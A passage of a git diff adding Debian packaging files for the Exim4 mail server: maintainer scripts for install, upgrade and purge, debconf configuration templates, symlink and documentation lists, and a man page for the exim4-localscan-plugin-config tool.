stripwhitespace)" + db_get exim4/dc_other_hostnames || true + dc_other_hostnames="$(printf '%s\n' "$RET" | stripwhitespace)" + db_get exim4/dc_readhost || true + dc_readhost="$(printf '%s\n' "$RET" | stripwhitespace)" + db_get exim4/dc_relay_domains || true + dc_relay_domains="$(printf '%s\n' "$RET" | stripwhitespace)" + db_get exim4/dc_relay_nets || true + dc_relay_nets="$(printf '%s\n' "$RET" | stripwhitespace)" + db_get exim4/dc_smarthost || true + dc_smarthost="$(printf '%s\n' "$RET" | stripwhitespace)" + db_get exim4/dc_minimaldns || true + dc_minimaldns="$(printf '%s\n' "$RET" | stripwhitespace)" + db_get exim4/mailname || true + mailname="$(printf '%s\n' "$RET" | stripwhitespace)" + db_get exim4/use_split_config || true + dc_use_split_config="$(printf '%s\n' "$RET" | stripwhitespace)" + db_get exim4/hide_mailname || true + dc_hide_mailname="$(printf '%s\n' "$RET" | stripwhitespace)" + + # overwrite dc_localdelivery with value stored in debconf db unless + # it is set to something else than maildir_home or mail_spool. + if [ "${dc_localdelivery}" = "" ] || + [ "$(convert_transport_to_long ${dc_localdelivery})" != "locally customized" ] ; then + db_get exim4/dc_localdelivery || true + dc_localdelivery="$(convert_transport_to_short "$RET")" + fi + + if [ -r /var/lib/exim4/addmailname2oh ] ; then + # .config added mailname to other hostnames, 2nd run of config script + # will have overwritten this change in debcond-db, therefore we need + # to store this externally, too. + . /var/lib/exim4/addmailname2oh + rm -f /var/lib/exim4/addmailname2oh + fi + db_fget "exim4/dc_other_hostnames" mailname || true + dc_mailname_in_oh="$RET" + + [ "${CFILEMODE}" = "" ] && CFILEMODE=644 + + db_get exim4/dc_postmaster + dc_postmaster="$(printf '%s\n' "$RET" | stripwhitespace)" + + if [ ! -e /etc/aliases ] ; then + writealiases + fi + if ! grep -q '^root:[[:space:]]*[[:alnum:]]' /etc/aliases && \ + [ "${dc_postmaster}" != "none" ]; then + addrootalias "${dc_postmaster}" + fi + + ### write configuration to files # + # add missing items + for variable in ${dc_directives} ; do + if ! grep -E -q "^[[:space:]]*${variable}=" $UE4CC ; then + echo "${variable}=''" >> $UE4CC + fi + done + # insert new values, remove outdated ones. + + # Use environment variables to communicate data to awk, to + # avoid shell (or awk or sed) string expansion which may + # expand escape sequences. Note that the variables named in + # ${dc_directives} (but not the variable names themselves) may + # contain escaped characters like \N. + + export dc_directives ${dc_directives} + + awk ' + BEGIN { + split( ENVIRON["dc_directives"], directives, "[ \t]" ); + } + { + written = 0; + for ( i in directives ) + { + regex = "^[ \t]*" directives[i] "="; + if ( ( $0 ~ regex ) && ( ! written ) ) + { + # Add single quotes (\0x27) around the value. + print directives[i] "=\x27" ENVIRON[directives[i]] "\x27"; + written = 1; + break; + } + } + if ( ! written ) + print $0; + }' < ${UE4CC} > ${UE4CC}.tmp + + mv ${UE4CC}.tmp $UE4CC + + echo $mailname > /etc/mailname + ### configuration files written ## + + + if [ "${dc_eximconfig_configtype}" != "none" ]; then + update-exim4.conf + fi + # If dpkg-reconfigure was used implement the changes by restarting + # the daemon. + if [ "${DEBCONF_RECONFIGURE}" = "1" ] ; then + if [ -x /etc/init.d/exim4 ]; then + # use restart instead of reload, as changing listening + # interfaces cannot be done with HUP. + db_stop + if [ -n "$EX4DEBUG" ]; then + netstat -tulpen + ls -al /run/exim4/ + cat /run/exim4/exim.pid + pidof exim4 + fi + if [ "$dc_eximconfig_configtype" = "none" ]; then + # we may have broken config here, ignore errors + invoke-rc.d exim4 restart || true + else + # we must have working config here, honor errors + invoke-rc.d exim4 restart + fi + if [ -n "$EX4DEBUG" ]; then + netstat -tulpen + ls -al /run/exim4/ + cat /run/exim4/exim.pid + pidof exim4 + if pidof exim4; then + echo >&2 "WARN: There are some exim4 processes still running after stopping exim" + fi + fi + fi + fi + + ;; +esac + +# remove orphaned conffile if unmodified. 4.20-2. +if [ "$1" = "configure" ] && \ + dpkg --compare-versions "$2" le-nl "4.20-1" && \ + [ -e /etc/exim4/email-addresses ] && \ + [ "$(md5sum /etc/exim4/email-addresses | cut -d\ -f1)" = "6bea09fbb18e4676012105fa5fc726c6" ] +then + echo "Removing orphaned unmodified configfile /etc/exim4/email-addresses" 1>&2 + rm /etc/exim4/email-addresses +fi + + +#DEBHELPER# diff --git a/debian/exim4-config.postrm b/debian/exim4-config.postrm new file mode 100644 index 0000000..dffd4c4 --- /dev/null +++ b/debian/exim4-config.postrm @@ -0,0 +1,30 @@ +#!/bin/sh + +set -e +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +case "$1" in + purge) + dpkg-statoverride --remove /etc/exim4/passwd.client || true + rm -f /etc/exim4/update-exim4.conf.conf + rm -f /var/lib/exim4/config.autogenerated + rm -f /etc/exim4/conf.d/main/03_exim4-config_neverusers \ + /etc/exim4/conf.d/rewrite/30_exim4-config_email-addresses \ + /etc/exim4/conf.d/rewrite/35_exim4-config_masquerade + + # remove empty directories in /etc/exim4 + rmdir /etc/exim4/conf.d/auth /etc/exim4/conf.d/acl \ + /etc/exim4/conf.d/transport /etc/exim4/conf.d/main \ + /etc/exim4/conf.d/retry /etc/exim4/conf.d/rewrite \ + /etc/exim4/conf.d/router /etc/exim4/conf.d \ + /etc/exim4 /var/lib/exim4 2> /dev/null || true + rm -f /etc/default/exim4 + # remove user + #deluser --quiet Debian-exim > /dev/null || true + ;; +esac + +#DEBHELPER# diff --git a/debian/exim4-config.preinst b/debian/exim4-config.preinst new file mode 100644 index 0000000..e30e4df --- /dev/null +++ b/debian/exim4-config.preinst @@ -0,0 +1,39 @@ +#!/bin/sh + +set -e + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +# Remove a no-longer used conffile +# Solution and code taken from http://wiki.debian.org/DpkgConffileHandling +# and "beautified" (hopefully not broken) +rm_conffile() { + PKGNAME="$1" + CONFFILE="$2" + + if [ -e "$CONFFILE" ]; then + md5sum="$(md5sum "$CONFFILE" | sed -e "s/ .*//")" + old_md5sum="$(dpkg-query -W -f='${Conffiles}' $PKGNAME | sed -n -e "\' $CONFFILE'{s/ obsolete$//;s/.* //;p;}")" + if [ "$md5sum" != "$old_md5sum" ]; then + echo "Obsolete conffile $CONFFILE has been modified by you." + echo "Saving as $CONFFILE.dpkg-bak ..." + mv -f "$CONFFILE" "$CONFFILE".dpkg-bak + else + echo "Removing obsolete conffile $CONFFILE ..." + rm -f "$CONFFILE" + fi + fi +} + +case "$1" in +install|upgrade) + if dpkg --compare-versions "$2" lt "4.68-1"; then + rm_conffile exim4-config "/etc/exim4/conf.d/acl/20_exim4-config_whitelist_local_deny" + rm_conffile exim4-config "/etc/exim4/conf.d/router/250_exim4-config_lowuid" + fi +esac + +#DEBHELPER# diff --git a/debian/exim4-config.templates b/debian/exim4-config.templates new file mode 100644 index 0000000..c8835e4 --- /dev/null +++ b/debian/exim4-config.templates @@ -0,0 +1,196 @@ +Template: exim4/dc_eximconfig_configtype +Type: select +# Translators beware! the following six strings form a single +# Choices menu. - Every one of these strings has to fit in a standard +# 80 characters console, as the fancy screen setup takes up some space +# try to keep below ~71 characters. +# DO NOT USE commas (,) in Choices translations otherwise +# this will break the choices shown to users +__Choices: internet site; mail is sent and received directly using SMTP, mail sent by smarthost; received via SMTP or fetchmail, mail sent by smarthost; no local mail, local delivery only; not on a network, no configuration at this time +Default: local delivery only; not on a network +_Description: General type of mail configuration: + Please select the mail server configuration type that best meets your needs. + . + Systems with dynamic IP addresses, including dialup systems, should generally + be configured to send outgoing mail to another machine, called a 'smarthost' + for delivery because many receiving systems on the Internet block + incoming mail from dynamic IP addresses as spam protection. + . + A system with a dynamic IP address can receive its own mail, or local + delivery can be disabled entirely (except mail for root and postmaster). + +Template: exim4/no_config +Type: boolean +Default: true +_Description: Really leave the mail system unconfigured? + Until the mail system is configured, it will be broken and cannot be + used. Configuration at a later time can be done either by hand or by + running 'dpkg-reconfigure exim4-config' as root. + +Template: exim4/mailname +Type: string +_Description: System mail name: + The 'mail name' is the domain name used to 'qualify' mail addresses + without a domain name. + . + This name will also be used by other programs. It should be the + single, fully qualified domain name (FQDN). + . + Thus, if a mail address on the local host is foo@example.org, + the correct value for this option would be example.org. + . + This name won't appear on From: lines of outgoing messages if rewriting + is enabled. + +Template: exim4/dc_other_hostnames +Type: string +Default: +_Description: Other destinations for which mail is accepted: + Please enter a semicolon-separated list of recipient domains for + which this machine should consider itself the final destination. + These domains are commonly called 'local domains'. The local hostname + (${fqdn}) and 'localhost' are always added to the list given here. + . + By default all local domains will be treated identically. If both + a.example and b.example are local domains, acc@a.example and + acc@b.example will be delivered to the same final destination. If + different domain names should be treated differently, it is + necessary to edit the config files afterwards. + +Template: exim4/dc_relay_domains +Type: string +Default: +_Description: Domains to relay mail for: + Please enter a semicolon-separated list of recipient domains for + which this system will relay mail, for example as a fallback MX or + mail gateway. This means that this system will accept mail for these + domains from anywhere on the Internet and deliver them according to + local delivery rules. + . + Do not mention local domains here. Wildcards may be used. + +Template: exim4/dc_relay_nets +Type: string +Default: +_Description: Machines to relay mail for: + Please enter a semicolon-separated list of IP address ranges for + which this system will unconditionally relay mail, functioning as a + smarthost. + . + You should use the standard address/prefix format (e.g. 194.222.242.0/24 + or 5f03:1200:836f::/48). + . + If this system should not be a smarthost for any other host, leave + this list blank. + +Template: exim4/dc_readhost +Type: string +_Description: Visible domain name for local users: + The option to hide the local mail name in outgoing mail was enabled. + It is therefore necessary to specify the domain name this system + should use for the domain part of local users' sender addresses. + +Template: exim4/dc_smarthost +Type: string +_Description: IP address or host name of the outgoing smarthost: + Please enter the IP address or the host name of a mail server that + this system should use as outgoing smarthost. If the smarthost only + accepts your mail on a port different from TCP/25, append two colons + and the port number (for example smarthost.example::587 or + 192.168.254.254::2525). Colons in IPv6 addresses need to be doubled. + . + If the smarthost requires authentication, please refer to + the Debian-specific README files in /usr/share/doc/exim4-base for + notes about setting up SMTP authentication. + +Template: exim4/dc_postmaster +Type: string +_Description: Root and postmaster mail recipient: + Mail for the 'postmaster', 'root', and other system accounts needs to + be redirected to the user account of the actual system administrator. + . + If this value is left empty, such mail will be saved in /var/mail/mail, + which is not recommended. + . + Note that postmaster's mail should be read on the system to which it is + directed, rather than being forwarded elsewhere, so (at least one of) + the users listed here should not redirect their mail off this machine. + A 'real-' prefix can be used to force local delivery. + . + Multiple user names need to be separated by spaces. + +Template: exim4/dc_local_interfaces +Type: string +Default: notset +_Description: IP-addresses to listen on for incoming SMTP connections: + Please enter a semicolon-separated list of IP addresses. The Exim SMTP + listener daemon will listen on all IP addresses listed here. + . + An empty value will cause Exim to listen for connections on all + available network interfaces. + . + If this system only receives mail directly from local services + (and not from other hosts), it is suggested to prohibit external + connections to the local Exim daemon. Such services include e-mail + programs (MUAs) which talk to localhost only as well as fetchmail. + External connections are impossible when 127.0.0.1 is entered here, + as this will disable listening on public network interfaces. + +Template: exim4/dc_minimaldns +Type: boolean +Default: false +_Description: Keep number of DNS-queries minimal (Dial-on-Demand)? + In normal mode of operation Exim does DNS lookups at startup, and when + receiving or delivering messages. This is for logging purposes and + allows keeping down the number of hard-coded values in the + configuration. + . + If this system does not have a DNS full service resolver available at + all times (for example if its Internet access is a dial-up line using + dial-on-demand), this might have unwanted consequences. For example, + starting up Exim or running the queue (even with no messages waiting) + might trigger a costly dial-up-event. + . + This option should be selected if this system is using Dial-on-Demand. + If it has always-on Internet access, this option should be disabled. + +Template: exim4/exim4-config-title +Type: title +_Description: Mail Server configuration + +Template: exim4/use_split_config +Type: boolean +_Description: Split configuration into small files? + The Debian exim4 packages can either use 'unsplit configuration', a + single monolithic file (/etc/exim4/exim4.conf.template) or 'split + configuration', where the actual Exim configuration files are built + from about 50 smaller files in /etc/exim4/conf.d/. + . + Unsplit configuration is better suited for large modifications and is + generally more stable, whereas split configuration offers a comfortable + way to make smaller modifications but is more fragile and might break + if modified carelessly. + . + A more detailed discussion of split and unsplit configuration can be + found in the Debian-specific README files in /usr/share/doc/exim4-base. + +Template: exim4/hide_mailname +Type: boolean +_Description: Hide local mail name in outgoing mail? + The headers of outgoing mail can be rewritten to make it appear to have been + generated on a different system. If this option is chosen, + '${mailname}', 'localhost' and '${dc_other_hostnames}' in From, Reply-To, + Sender and Return-Path are rewritten. + +Template: exim4/dc_localdelivery +Type: select +__Choices: mbox format in /var/mail/, Maildir format in home directory +Default: mbox format in /var/mail/ +_Description: Delivery method for local mail: + Exim is able to store locally delivered email in different formats. + The most commonly used ones are mbox and Maildir. mbox uses a single + file for the complete mail folder stored in /var/mail/. With Maildir + format every single message is stored in a separate file in ~/Maildir/. + . + Please note that most mail tools in Debian expect the local delivery + method to be mbox in their default. diff --git a/debian/exim4-daemon-custom.dirs b/debian/exim4-daemon-custom.dirs new file mode 100644 index 0000000..45e1018 --- /dev/null +++ b/debian/exim4-daemon-custom.dirs @@ -0,0 +1,3 @@ +/usr/lib/exim4 +/usr/sbin +/usr/share/man/man8 diff --git a/debian/exim4-daemon-custom.docs b/debian/exim4-daemon-custom.docs new file mode 100644 index 0000000..bf9c376 --- /dev/null +++ b/debian/exim4-daemon-custom.docs @@ -0,0 +1 @@ +EDITME.exim4-custom diff --git a/debian/exim4-daemon-custom.install b/debian/exim4-daemon-custom.install new file mode 100644 index 0000000..a28d51b --- /dev/null +++ b/debian/exim4-daemon-custom.install @@ -0,0 +1 @@ +debian/script usr/share/bug/exim4-daemon-custom diff --git a/debian/exim4-daemon-custom.links b/debian/exim4-daemon-custom.links new file mode 100644 index 0000000..a342ee2 --- /dev/null +++ b/debian/exim4-daemon-custom.links @@ -0,0 +1,18 @@ +usr/sbin/exim4 usr/bin/mailq +usr/sbin/exim4 usr/bin/newaliases +usr/sbin/exim4 usr/lib/exim4/exim4 +usr/sbin/exim4 usr/lib/sendmail +usr/sbin/exim4 usr/sbin/exim +usr/sbin/exim4 usr/sbin/rmail +usr/sbin/exim4 usr/sbin/rsmtp +usr/sbin/exim4 usr/sbin/runq +usr/sbin/exim4 usr/sbin/sendmail +usr/share/doc/exim4-base/README.Debian.gz usr/share/doc/exim4-daemon-custom/README.Debian.gz +usr/share/doc/exim4-base/changelog.gz usr/share/doc/exim4-daemon-custom/changelog.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/exim4.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/mailq.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/newaliases.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/rmail.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/rsmtp.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/runq.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/sendmail.8.gz diff --git a/debian/exim4-daemon-heavy.config b/debian/exim4-daemon-heavy.config new file mode 100644 index 0000000..1eaec3f --- /dev/null +++ b/debian/exim4-daemon-heavy.config @@ -0,0 +1,17 @@ +#!/bin/sh +set -e + +. /usr/share/debconf/confmodule + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +db_version 2.0 + +if [ "reconfigure" = "$1" ]; then + db_beginblock + db_input low exim4-daemon-heavy/drec || [ "$?" = "30" ] + db_go +fi diff --git a/debian/exim4-daemon-heavy.dirs b/debian/exim4-daemon-heavy.dirs new file mode 100644 index 0000000..341ca05 --- /dev/null +++ b/debian/exim4-daemon-heavy.dirs @@ -0,0 +1,4 @@ +/usr/lib/exim4 +/usr/lib/exim4/local_scan +/usr/sbin +/usr/share/man/man8 diff --git a/debian/exim4-daemon-heavy.docs b/debian/exim4-daemon-heavy.docs new file mode 100644 index 0000000..000e03f --- /dev/null +++ b/debian/exim4-daemon-heavy.docs @@ -0,0 +1 @@ +EDITME.exim4-heavy diff --git a/debian/exim4-daemon-heavy.install b/debian/exim4-daemon-heavy.install new file mode 100644 index 0000000..1aff3cb --- /dev/null +++ b/debian/exim4-daemon-heavy.install @@ -0,0 +1 @@ +debian/script usr/share/bug/exim4-daemon-heavy diff --git a/debian/exim4-daemon-heavy.links b/debian/exim4-daemon-heavy.links new file mode 100644 index 0000000..373c212 --- /dev/null +++ b/debian/exim4-daemon-heavy.links @@ -0,0 +1,18 @@ +usr/sbin/exim4 usr/bin/mailq +usr/sbin/exim4 usr/bin/newaliases +usr/sbin/exim4 usr/lib/exim4/exim4 +usr/sbin/exim4 usr/lib/sendmail +usr/sbin/exim4 usr/sbin/exim +usr/sbin/exim4 usr/sbin/rmail +usr/sbin/exim4 usr/sbin/rsmtp +usr/sbin/exim4 usr/sbin/runq +usr/sbin/exim4 usr/sbin/sendmail +usr/share/doc/exim4-base/README.Debian.gz usr/share/doc/exim4-daemon-heavy/README.Debian.gz +usr/share/doc/exim4-base/changelog.gz usr/share/doc/exim4-daemon-heavy/changelog.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/exim4.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/mailq.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/newaliases.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/rmail.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/rsmtp.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/runq.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/sendmail.8.gz diff --git a/debian/exim4-daemon-heavy.lintian-overrides b/debian/exim4-daemon-heavy.lintian-overrides new file mode 100644 index 0000000..4286669 --- /dev/null +++ b/debian/exim4-daemon-heavy.lintian-overrides @@ -0,0 +1,2 @@ +exim4-daemon-heavy: setuid-binary usr/sbin/exim4 4755 root/root +exim4-daemon-heavy: package-contains-empty-directory usr/lib/exim4/local_scan/ diff --git a/debian/exim4-daemon-heavy.templates b/debian/exim4-daemon-heavy.templates new file mode 100644 index 0000000..8a60a07 --- /dev/null +++ b/debian/exim4-daemon-heavy.templates @@ -0,0 +1,5 @@ +Template: exim4-daemon-heavy/drec +Type: error +_Description: Reconfigure exim4-config instead of this package + Exim4 has its configuration factored out into a dedicated package, + exim4-config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'. diff --git a/debian/exim4-daemon-light.config b/debian/exim4-daemon-light.config new file mode 100644 index 0000000..113904f --- /dev/null +++ b/debian/exim4-daemon-light.config @@ -0,0 +1,17 @@ +#!/bin/sh +set -e + +. /usr/share/debconf/confmodule + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +db_version 2.0 + +if [ "reconfigure" = "$1" ]; then + db_beginblock + db_input low exim4-daemon-light/drec || [ "$?" = "30" ] + db_go +fi diff --git a/debian/exim4-daemon-light.dirs b/debian/exim4-daemon-light.dirs new file mode 100644 index 0000000..45e1018 --- /dev/null +++ b/debian/exim4-daemon-light.dirs @@ -0,0 +1,3 @@ +/usr/lib/exim4 +/usr/sbin +/usr/share/man/man8 diff --git a/debian/exim4-daemon-light.docs b/debian/exim4-daemon-light.docs new file mode 100644 index 0000000..53db684 --- /dev/null +++ b/debian/exim4-daemon-light.docs @@ -0,0 +1 @@ +EDITME.exim4-light diff --git a/debian/exim4-daemon-light.install b/debian/exim4-daemon-light.install new file mode 100644 index 0000000..1249d8b --- /dev/null +++ b/debian/exim4-daemon-light.install @@ -0,0 +1 @@ +debian/script usr/share/bug/exim4-daemon-light diff --git a/debian/exim4-daemon-light.links b/debian/exim4-daemon-light.links new file mode 100644 index 0000000..241b2dc --- /dev/null +++ b/debian/exim4-daemon-light.links @@ -0,0 +1,18 @@ +usr/sbin/exim4 usr/bin/mailq +usr/sbin/exim4 usr/bin/newaliases +usr/sbin/exim4 usr/lib/exim4/exim4 +usr/sbin/exim4 usr/lib/sendmail +usr/sbin/exim4 usr/sbin/exim +usr/sbin/exim4 usr/sbin/rmail +usr/sbin/exim4 usr/sbin/rsmtp +usr/sbin/exim4 usr/sbin/runq +usr/sbin/exim4 usr/sbin/sendmail +usr/share/doc/exim4-base/README.Debian.gz usr/share/doc/exim4-daemon-light/README.Debian.gz +usr/share/doc/exim4-base/changelog.gz usr/share/doc/exim4-daemon-light/changelog.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/exim4.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/mailq.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/newaliases.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/rmail.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/rsmtp.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/runq.8.gz +usr/share/man/man8/exim.8.gz usr/share/man/man8/sendmail.8.gz diff --git a/debian/exim4-daemon-light.lintian-overrides b/debian/exim4-daemon-light.lintian-overrides new file mode 100644 index 0000000..9e7f2a6 --- /dev/null +++ b/debian/exim4-daemon-light.lintian-overrides @@ -0,0 +1 @@ +exim4-daemon-light: setuid-binary usr/sbin/exim4 4755 root/root diff --git a/debian/exim4-daemon-light.postinst b/debian/exim4-daemon-light.postinst new file mode 100644 index 0000000..4a2e108 --- /dev/null +++ b/debian/exim4-daemon-light.postinst @@ -0,0 +1,60 @@ +#!/bin/sh + +set -e + +. /usr/share/debconf/confmodule + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +dc_eximconfig_configtype="other" +db_get exim4/dc_eximconfig_configtype || true +if [ "$RET" = "no configuration at this time" ]; then + dc_eximconfig_configtype="none" +fi + +case "$1" in + configure) + + # || true is needed for succesfull installation with configtype 'none' + if [ -x /etc/init.d/exim4 ]; then + db_stop + if [ "$dc_eximconfig_configtype" = "none" ]; then + # we may have broken config here, ignore errors + invoke-rc.d exim4 start || true + else + # we must have working config here, honor errors + invoke-rc.d exim4 start + fi + fi + + # set up DH-parameter file, update if older than 160 days + if test -e /var/spool/exim4/gnutls-params-2048 ; then + if [ `stat --format=%Y /var/spool/exim4/gnutls-params-2048` -le $(( `date +%s` - 13824000 )) ]; + then + echo "Updating GnuTLS DH parameter file" 1>&2 + /usr/share/exim4/exim4_refresh_gnutls-params + fi + else + echo "Initializing GnuTLS DH parameter file" 1>&2 + tempgnutls=$(tempfile --directory /var/spool/exim4 --mode 644 --prefix "gnutp") + chown Debian-exim:Debian-exim $tempgnutls + if which certtool > /dev/null 2>&1 && \ + timeout --preserve-status --kill-after=15 120 \ + certtool --generate-dh-params --bits 2048 > $tempgnutls ; then + mv $tempgnutls /var/spool/exim4/gnutls-params-2048 + else + rm -f $tempgnutls + install -m 644 -o Debian-exim -g Debian-exim \ + /usr/share/exim4/gnutls-params-2048 \ + /var/spool/exim4/gnutls-params-2048 + fi + fi + + + ;; +esac + +#DEBHELPER# diff --git a/debian/exim4-daemon-light.prerm b/debian/exim4-daemon-light.prerm new file mode 100644 index 0000000..c7c3db8 --- /dev/null +++ b/debian/exim4-daemon-light.prerm @@ -0,0 +1,33 @@ +#!/bin/sh + +set -e + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +case "$1" in + remove|upgrade) + if [ -x /etc/init.d/exim4 ]; then + if [ -n "$EX4DEBUG" ]; then + netstat -tulpen + ls -al /run/exim4/ + cat /run/exim4/exim.pid + pidof exim4 + fi + invoke-rc.d exim4 stop + if [ -n "$EX4DEBUG" ]; then + netstat -tulpen + ls -al /run/exim4/ + cat /run/exim4/exim.pid + pidof exim4 + if pidof exim4; then + echo >&2 "WARN: There are some exim4 processes still running after stopping exim" + fi + fi + fi + ;; +esac + +#DEBHELPER# diff --git a/debian/exim4-daemon-light.templates b/debian/exim4-daemon-light.templates new file mode 100644 index 0000000..834ce04 --- /dev/null +++ b/debian/exim4-daemon-light.templates @@ -0,0 +1,5 @@ +Template: exim4-daemon-light/drec +Type: error +_Description: Reconfigure exim4-config instead of this package + Exim4 has its configuration factored out into a dedicated package, + exim4-config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'. diff --git a/debian/exim4-dev.install b/debian/exim4-dev.install new file mode 100644 index 0000000..d325233 --- /dev/null +++ b/debian/exim4-dev.install @@ -0,0 +1,4 @@ +b-exim4-daemon-light/src/local_scan.h usr/include/exim4 +b-exim4-daemon-light/src/mytypes.h usr/include/exim4 +b-exim4-daemon-light/src/store.h usr/include/exim4 +debian/exim4-localscan-plugin-config usr/bin diff --git a/debian/exim4-dev.links b/debian/exim4-dev.links new file mode 100644 index 0000000..3d162d8 --- /dev/null +++ b/debian/exim4-dev.links @@ -0,0 +1,2 @@ +usr/share/doc/exim4-base/README.Debian.gz usr/share/doc/exim4-dev/README.Debian.gz +usr/share/doc/exim4-base/changelog.gz usr/share/doc/exim4-dev/changelog.gz diff --git a/debian/exim4-dev.manpages b/debian/exim4-dev.manpages new file mode 100644 index 0000000..0bb5aeb --- /dev/null +++ b/debian/exim4-dev.manpages @@ -0,0 +1 @@ +debian/exim4-localscan-plugin-config.1 diff --git a/debian/exim4-localscan-plugin-config b/debian/exim4-localscan-plugin-config new file mode 100755 index 0000000..08fd2cc --- /dev/null +++ b/debian/exim4-localscan-plugin-config @@ -0,0 +1,12 @@ +#!/bin/sh + +case "$1" in + --localscan-apiversion) + sed -rn 's/#define LOCAL_SCAN_ABI_VERSION_(MAJOR|MINOR) *([0-9]+).*/\2/p' \ + /usr/include/exim4/local_scan.h \ + | (read MAJOR; read MINOR; echo ${MAJOR}.${MINOR}) + ;; + *) + echo Usage: $0 --localscan-apiversion + ;; +esac diff --git a/debian/exim4-localscan-plugin-config.1 b/debian/exim4-localscan-plugin-config.1 new file mode 100644 index 0000000..841ac2a --- /dev/null +++ b/debian/exim4-localscan-plugin-config.1 @@ -0,0 +1,40 @@ +.\" Title: EXIM4-LOCALSCAN-PLUGIN-CONFIG +.\" Author: +.\" Generator: DocBook XSL Stylesheets v1.72.0 <http://docbook.sf.net/> +.\" Date: 2007-06-08 +.\" Manual: +.\" Source: exim4 +.\" +.TH "EXIM4\-LOCALSCAN\-PLUGIN\-CONFIG" "1" "2007\-06\-08" "exim4" "" +.\" disable hyphenation +.nh +.\" disable justification (adjust text to left margin only) +.ad l +.SH "NAME" +exim4\-localscan\-plugin\-config \- get information necessary to build and package exim4 plugins +.SH "SYNOPSIS" +.HP 13 +\fBexim4\-localscan\-plugin\-config\fR \fB\-\-localscan\-abiversion\fR +.SH "DESCRIPTION" +.PP +\fBexim4\-localscan\-plugin\-config\fR +is a tool that is used to determine various things needed to build plugins (shared libraries) for the Exim MTA. Currently there is one such plugin API \- the +\fBlocal_scan\fR +API. In addition to local_scan plugins, this API is also available to shared libraries used with the ${dlfunc ...} expansion item. +.SH "OPTIONS" +.PP +Since +\fBexim4\-localscan\-plugin\-config\fR +is +Debian(TM)\-specific, it currently takes a single mandatory option parameter, +\fB\-\-localscan\-apiversion\fR, outputting the API/ABI version (\fIver\fR). Packages containing local_scan plugins should depend on exim4\-localscanapi\-\fIver\fR +.SH "SEE ALSO" +\fBexim4\fR(8), Chapter 42 of the Exim specification +.SH "COPYRIGHT" +Copyright \(co 2007 Magnus Holmgren +.br +.PP +This manual page was written by Magnus Holmgren for the +Debian(TM) +system (but may be used by others). Permission is granted to copy, distribute and/or modify this document without any restrictions whatsoever. +.br diff --git a/debian/exim4-localscan-plugin-config.1.xml b/debian/exim4-localscan-plugin-config.1.xml new file mode 100644 index 0000000..c7e9ef1 --- /dev/null +++ b/debian/exim4-localscan-plugin-config.1.xml @@ -0,0 +1,82 @@ +<?xml version='1.0' encoding='ISO-8859-1'?> +<!DOCTYPE refentry PUBLIC "-//OASIS//DTD DocBook XML V4.2//EN" +"http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd" [ + + <!ENTITY dhfirstname "<firstname>Magnus</firstname>"> + <!ENTITY dhsurname "<surname>Holmgren</surname>"> + <!-- Please adjust the date whenever revising the manpage. --> + <!ENTITY dhdate "<date>2007-06-08</date>"> + <!ENTITY dhsection "<manvolnum>1</manvolnum>"> + <!ENTITY dhemail "<email>magnus@kibibyte.se</email>"> + <!ENTITY dhusername "Magnus Holmgren"> + <!ENTITY dhucpackage "<refentrytitle>EXIM4-LOCALSCAN-PLUGIN-CONFIG</refentrytitle>"> + <!ENTITY dhpackage "exim4-localscan-plugin-config"> + + <!ENTITY debian "<productname>Debian</productname>"> +]> + +<refentry> + <refentryinfo> + <productname>exim4</productname> + <address> + &dhemail; + </address> + <copyright> + <year>2007</year> + <holder>&dhusername;</holder> + </copyright> + <legalnotice> + <para> + This manual page was written by &dhusername; for + the &debian; system (but may be used by others). Permission is + granted to copy, distribute and/or modify this document without + any restrictions whatsoever. + </para> + </legalnotice> + &dhdate; + </refentryinfo> + <refmeta> + &dhucpackage; + &dhsection; + </refmeta> + <refnamediv> + <refname>&dhpackage;</refname> + <refpurpose>get information necessary to build and package exim4 + plugins</refpurpose> + </refnamediv> + <refsynopsisdiv> + <cmdsynopsis> + <command>&dhpackage;</command> + <arg choice="plain"><option>--localscan-abiversion</option></arg> + </cmdsynopsis> + </refsynopsisdiv> + <refsect1> + <title>Description</title> + + <para><command>&dhpackage;</command> is a tool that is used to determine + various things needed to build plugins (shared libraries) for the + Exim MTA. Currently there is one such plugin API - the + <function>local_scan</function> API. In addition to local_scan plugins, + this API is also available to shared libraries used with the + ${dlfunc ...} expansion item.</para> + </refsect1> + <refsect1> + <title>Options</title> + <para>Since <command>&dhpackage;</command> is &debian;-specific, + it currently takes a single mandatory option parameter, + <option>--localscan-apiversion</option>, outputting the API/ABI + version (<replaceable role="variable">ver</replaceable>). + Packages containing local_scan plugins should depend on + exim4-localscanapi-<replaceable role="variable">ver</replaceable></para> + </refsect1> + <refsect1> + <title>See also</title> + <simplelist type="inline"> + <member><citerefentry> + <refentrytitle>exim4</refentrytitle> + <manvolnum>8</manvolnum> + </citerefentry></member> + <member>Chapter 42 of the Exim 